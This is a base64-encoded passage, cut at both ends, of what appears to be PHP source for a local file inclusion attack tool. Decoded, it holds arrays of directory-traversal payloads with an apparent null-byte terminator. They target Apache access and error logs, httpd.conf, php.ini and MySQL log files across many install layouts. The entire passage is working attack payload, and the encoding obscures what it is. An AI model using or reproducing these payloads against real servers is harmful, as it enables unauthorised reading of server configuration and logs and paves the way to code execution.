CAgICAgICAgIDMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9odHRwZC9sb2dzL2FjY2VzLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci93d3cvbG9ncy9hY2Nlc3NfbG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3d3dy9sb2dzL2FjY2Vzcy5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICA2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3MubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hcGFjaGUvYWNjZXNzX2xvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvYXBhY2hlMi9hY2Nlc3NfbG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvYXBhY2hlL2FjY2Vzcy5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hcGFjaGUyL2FjY2Vzcy5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hY2Nlc3NfbG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvYWNjZXNzLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDE0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2h0dHBkL2FjY2Vzc19sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vYXBhY2hlMi9sb2dzL2FjY2Vzcy5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vbG9ncy9hY2Nlc3MubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcGFjaGUyL2xvZ3MvYWNjZXNzX2xvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDE4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBhY2hlMi9sb2dzL2FjY2Vzcy5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9odHRwZC9hY2Nlc3MubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL29wdC9sYW1wcC9sb2dzL2FjY2Vzc19sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vb3B0L3hhbXBwL2xvZ3MvYWNjZXNzX2xvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDIyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9vcHQvbGFtcHAvbG9ncy9hY2Nlc3MubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL29wdC94YW1wcC9sb2dzL2FjY2Vzcy5sb2ciLiRieXRlMS4iIik7IA0KICAgICAgICAgDQogICAgICAgICAkbGZpZXJyb3IgPSBhcnJheSggDQogICAgICAgICAgICAxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9hcGFjaGUvbG9ncy9lcnJvci5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvaHR0cGQvbG9ncy9lcnJvcl9sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvaHR0cGQvbG9ncy9lcnJvci5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICA0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvd3d3L2xvZ3MvZXJyb3JfbG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3d3dy9sb2dzL2Vycm9yLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9lcnJvcl9sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICA3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3IubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hcGFjaGUvZXJyb3JfbG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hcGFjaGUyL2Vycm9yX2xvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDEwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2FwYWNoZS9lcnJvci5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hcGFjaGUyL2Vycm9yLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDEyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2Vycm9yX2xvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDEzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2Vycm9yLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDE0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2h0dHBkL2Vycm9yX2xvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDE1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9hcGFjaGUyL2xvZ3MvZXJyb3IubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2xvZ3MvZXJyb3IubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcGFjaGUyL2xvZ3MvZXJyb3JfbG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcGFjaGUyL2xvZ3MvZXJyb3IubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvaHR0cGQvZXJyb3IubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL29wdC9sYW1wcC9sb2dzL2Vycm9yX2xvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDIxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9vcHQveGFtcHAvbG9ncy9lcnJvcl9sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vb3B0L2xhbXBwL2xvZ3MvZXJyb3IubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL29wdC94YW1wcC9sb2dzL2Vycm9yLmxvZyIuJGJ5dGUxLiIiKTsgDQogIA0KICAgICAgICAgJGxmaWNvbmZpZyA9IGFycmF5KCANCiAgICAgICAgICAgIDEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcGFjaGUvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZTIvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2h0dHBkL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9hcGFjaGUvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2V0Yy9hcGFjaGUvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2FwYWNoZTIvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcGFjaGUvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcGFjaGUyL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICA5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvaHR0cGQvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9ldGMvYXBhY2hlMi9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2V0Yy9odHRwZC9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2FwYWNoZTIvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9hcGFjaGUvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcHBzL2FwYWNoZTIvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcHBzL2FwYWNoZS9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2FwYWNoZTIvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9odHRwL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDE4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvaHR0cGQvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDE5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvaHR0cC9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL29wdC9hcGFjaGUvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL29wdC9hcGFjaGUyL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDIzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvd3d3L2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDI0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9wcml2YXRlL2V0Yy9odHRwZC9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3ByaXZhdGUvZXRjL2h0dHBkL2h0dHBkLmNvbmYuZGVmYXVsdCIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDI2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9Wb2x1bWVzL3dlYkJhY2t1cC9vcHQvYXBhY2hlMi9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vVm9sdW1lcy93ZWJCYWNrdXAvcHJpdmF0ZS9ldGMvaHR0cGQvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDI4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9Wb2x1bWVzL3dlYkJhY2t1cC9wcml2YXRlL2V0Yy9odHRwZC9odHRwZC5jb25mLmRlZmF1bHQiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3BocC9odHRwZC5jb25mLnBocCIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDMwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvcGhwNC9odHRwZC5jb25mLnBocCIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDMxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvcGhwNS9odHRwZC5jb25mLnBocCIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDMyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvcGhwL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAzMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3BocDQvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDM0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvcGhwNS9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMzUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9ldGMvYXBhY2hlL3Zob3N0cy5jb25mIi4kYnl0ZTEuIiIpOyANCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgJGxmaXBocGluaSA9IGFycmF5KCANCiAgICAgICAgICAgIDEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9waHAuaW5pIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vYmluL3BocC5pbmkiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvaHR0cGQvcGhwLmluaSIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9saWIvcGhwLmluaSIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9saWIvcGhwL3BocC5pbmkiLiRieXRlMS4iIiwgDQogICAgICAgICAgICA2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvZXRjL3BocC5pbmkiLiRieXRlMS4iIiwgDQogICAgICAgICAgICA3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvbGliL3BocC5pbmkiLiRieXRlMS4iIiwgDQogICAgICAgICAgICA4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvcGhwL2xpYi9waHAuaW5pIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3BocDQvbGliL3BocC5pbmkiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3BocDUvbGliL3BocC5pbmkiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZS9jb25mL3BocC5pbmkiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3BocDQuNC9mY2dpL3BocC5pbmkiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3BocDQvYXBhY2hlL3BocC5pbmkiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3BocDQvYXBhY2hlMi9waHAuaW5pIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9waHA1L2FwYWNoZS9waHAuaW5pIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9waHA1L2FwYWNoZTIvcGhwLmluaSIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDE3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGhwL3BocC5pbmkiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3BocC9waHA0L3BocC5pbmkiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3BocC9hcGFjaGUvcGhwLmluaSIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDIwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGhwL2FwYWNoZTIvcGhwLmluaSIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDIxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi93ZWIvY29uZi9waHAuaW5pIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9aZW5kL2V0Yy9waHAuaW5pIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL29wdC94YW1wcC9ldGMvcGhwLmluaSIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDI0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9jYWwvd3d3L2NvbmYvcGhwLmluaSIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDI1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGhwL2NnaS9waHAuaW5pIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9waHA0L2NnaS9waHAuaW5pIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9waHA1L2NnaS9waHAuaW5pIi4kYnl0ZTEuIiIpOyANCiAgICAgICAgIA0KICAgICAgICAgICRsZmlteXNxbCA9IGFycmF5KCANCiAgICAgICAgICAgIDEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvbXlzcWwvbXlzcWwtYmluLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvbXlzcWwubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9teXNxbGRlcnJvci5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICA0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL215c3FsL215c3FsLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvbXlzcWwvbXlzcWwtc2xvdy5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICA2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbXlzcWwubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdm